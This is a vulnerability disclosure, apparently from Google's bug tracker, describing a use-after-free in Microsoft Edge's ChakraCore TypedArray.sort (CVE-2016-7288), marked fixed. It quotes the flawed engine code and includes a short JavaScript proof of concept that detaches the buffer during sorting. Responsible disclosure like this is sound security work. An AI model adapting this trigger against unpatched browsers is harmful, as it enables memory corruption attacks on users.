New issue
Advanced search Search tips
Starred by 3 users

Issue metadata

Status: Fixed
Owner:
Closed: Feb 2017
Cc:



Sign in to add a comment

Microsoft Edge: Use-after-free in TypedArray.sort

Project Member Reported by natashenka@google.com, Nov 2 2016 Back to list

Issue description

There is a use-after-free in TypedArray.sort. In TypedArrayCompareElementsHelper (https://chromium.googlesource.com/external/github.com/Microsoft/ChakraCore/+/TimeTravelDebugging/lib/Runtime/Library/TypedArray.cpp), the comparison function is called with the following code:

 Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                undefined,
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));

            Assert(TypedArrayBase::Is(contextArray[0]));
            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
            {
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
            }

            if (TaggedInt::Is(retVal))
            {
                return TaggedInt::ToInt32(retVal);
            }

            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
            {
                dblResult = JavascriptNumber::GetValue(retVal);
            }
            else
            {
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
            }

The TypeArray is checked to see if it has been detached, but then the return value from the function is converted to an integer, which can invoke valueOf. If this function detaches the TypedArray, one swap is perfomed on the buffer after it is freed.

A minimal PoC is as follows, and a full PoC is attached.

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);


function v(){

   postMessage("test", "http://127.0.0.1", [buf])
   return 7;

}

function compareNumbers(a, b) {

  return {valueOf : v};
}

numbers.sort(compareNumbers);

This PoC works on 64-bit systems only.


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 
search.html
445 bytes View Download
Project Member

Comment 1 by natashenka@google.com, Feb 9 2017

Labels: -Restrict-View-Commit CVE-2016-7288
Fixed in December
Project Member

Comment 2 by mjurczyk@google.com, Feb 14 2017

Status: Fixed

Comment 3 Deleted

Sign in to add a comment